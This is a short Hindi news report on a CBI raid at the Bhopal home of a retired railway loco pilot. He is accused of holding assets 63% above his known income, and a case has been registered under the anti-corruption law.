 मध्य प्रदेश की राजधानी भोपाल में आय से अधिक संपत्ति से जुड़े एक मामले में सीबीआई द्वारा छापामार कार्रवाई की है। बताया जा रहा है कि शहर में रहने वाले एक रिटायर्ड लोको पायलट के ठिकाने पर सीबीआई की दबिश के चलते हड़कंप मच गया।

 बता दें कि, सीबीआई टीम ने 19 जून को देर रात अशोक शर्मा के आवास पर दबिश दी थी। सीबीआई ने रेलवे के पूर्व लोको पायलट के खिलाफ आय से अधिक संपत्ति का मामला दर्ज किया है।

भ्रष्टाचार अधिनियम के तहत केस दर्ज
आय से अधिक संपत्ति के मामले में सीबीआई ने आरोपी अशोक शर्मा के खिलाफ केस दर्ज किया है। सीबीआई को अशोक शर्मा की निर्धारित इनकम (आय) से 63% ज्यादा संपत्ति मिली है। पूर्व लोको पायलट अशोक शर्मा के खिलाफ भ्रष्टाचार अधिनियम की धाराओं के तहत सीबीआई ने मामला दर्ज किया है। अब सीबीआई जांच करेगी कि उन्होंने वेतन के अलावा कहां कहां से किस मद से आय हुई है।

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